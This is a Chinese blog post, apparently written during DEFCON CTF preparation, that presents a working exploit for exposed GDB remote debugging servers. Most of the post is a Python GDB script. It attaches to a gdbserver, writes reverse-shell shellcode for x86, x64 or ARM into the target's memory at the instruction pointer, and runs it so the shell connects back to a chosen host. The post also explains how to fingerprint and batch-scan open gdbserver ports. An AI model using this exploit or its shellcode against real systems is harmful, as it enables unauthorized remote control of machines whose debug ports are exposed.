2015年8月31日 星期一

Remote Code Execution through GDB Remote Debugging Protocol


在準備 DEFCON CTF 時額外想到的小玩具,
很多人使用 GDB remote debugging 時為了方便遠端使用,會將 port 綁在 0.0.0.0 上使得攻擊者可以連接上做一些事情

至於可以做哪些事情,不來個遠端代碼執行就不好玩了XD

大部分的工作都基於 Turning arbitrary GDBserver sessions into RCE 這篇文章,
修改部分則是加上 arm 及 x64 的支援以及把 code 改好看點....XD

比較 tricky 的部分則是 GDB 在 extended-remote 後,GDB 預設的處理器架構會是 i386
如果遠端的處理器架構非 x86 的架構下會失敗,所以必須用 set architecture 指定處理器架構
(原文章因為都在 x86 架構下所以沒這個問題XD)
但是在 run 之前無法知道所處的處理器架構所以變成一個很尷尬的狀態XD

另外一個有趣的是如何檢測掃描到的 port 是否為 GDB remote debugging protocol
送個
$?#3f
就可以判斷,接著就可以寫成 script 就可以批次掃描處理了XD

最後 PoC,在本機跑
gdbserver --remote-debug 0.0.0.0:31337 /bin/ls
配合下面 Exploit 就可以拿 shell XD

不多說,貼 code


# coding: UTF-8
#
import sys
import gdb
import socket
import struct
import binascii
DEBUG = False
GDB_SERVER = ('127.0.0.1', 12345)
CONNECT_BACK_HOST = '127.0.0.1'
CONNECT_BACK_PORT = 31337
def _set_pair(sc):
ip = socket.inet_aton( CONNECT_BACK_HOST )
port = struct.pack('>H', CONNECT_BACK_PORT )
return binascii.unhexlify(sc).replace(b'\xff'*2, port).replace(b'\x00'*4, ip)
def reverse_shell_x86():
sc = '31c031db31c931d2b066b301516a066a016a0289e1cd8089c6b06631dbb30268' \
'000000006668ffff6653fec389e16a10515689e156cd805b31c9b103fec9b03f' \
'cd8075f831c052686e2f7368682f2f626989e3525389e15289e2b00bcd80'
return _set_pair(sc)
def reverse_shell_x64():
sc = '4831c04831ff4831f64831d24d31c06a025f6a015e6a065a6a29580f054989c0' \
'4831f64d31d24152c604240266c7442402ffffc7442404000000004889e66a10' \
'5a41505f6a2a580f054831f66a035e48ffce6a21580f0575f64831ff57575e5a' \
'48bf2f2f62696e2f736848c1ef0857545f6a3b580f05'
return _set_pair(sc)
def reverse_shell_arm():
sc = '01108fe211ff2fe102200121921a0f02193701df061c08a11022023701df3f27' \
'0221301c01df0139fbd505a0921a05b469460b2701dfc0460200ffff00000000' \
'2f62696e2f736800'
return _set_pair(sc)
def gdb_exec(cmd):
if DEBUG:
gdb.execute( cmd )
else:
gdb.execute( cmd, True, True )
if __name__ == '__main__':
gdb_exec('set confirm off')
gdb_exec('set verbose off')
ARCHS = {
'x86': reverse_shell_x86(),
'x64': reverse_shell_x64(),
'arm': reverse_shell_arm()
}
for arch, shellcode in ARCHS.items():
try:
if arch == 'arm':
gdb_exec('set architecture arm')
if arch == 'x86':
gdb_exec('set architecture i386')
if arch == 'x64':
gdb_exec('set architecture i386:x86-64')
gdb_exec('target extended-remote %s:%d' % GDB_SERVER)
bp = gdb.Breakpoint('*0', internal=True)
try:
gdb_exec('run')
except gdb.error as e:
pass
bp.delete()
for idx, ch in enumerate(shellcode):
ch = ord(ch)
if arch == 'arm':
gdb_exec('set *(unsigned char *)($pc + %d) = %d' % (idx, ch))
if arch == 'x86':
gdb_exec('set *(unsigned char *)($eip + %d) = %d' % (idx, ch))
if arch == 'x64':
gdb_exec('set *(unsigned char *)($rip + %d) = %d' % (idx, ch))
gdb_exec('continue')
gdb_exec('continue')
exit()
except gdb.error as e:
print( '##### not %s' % arch )
view raw pwn_gdb.py hosted with ❤ by GitHub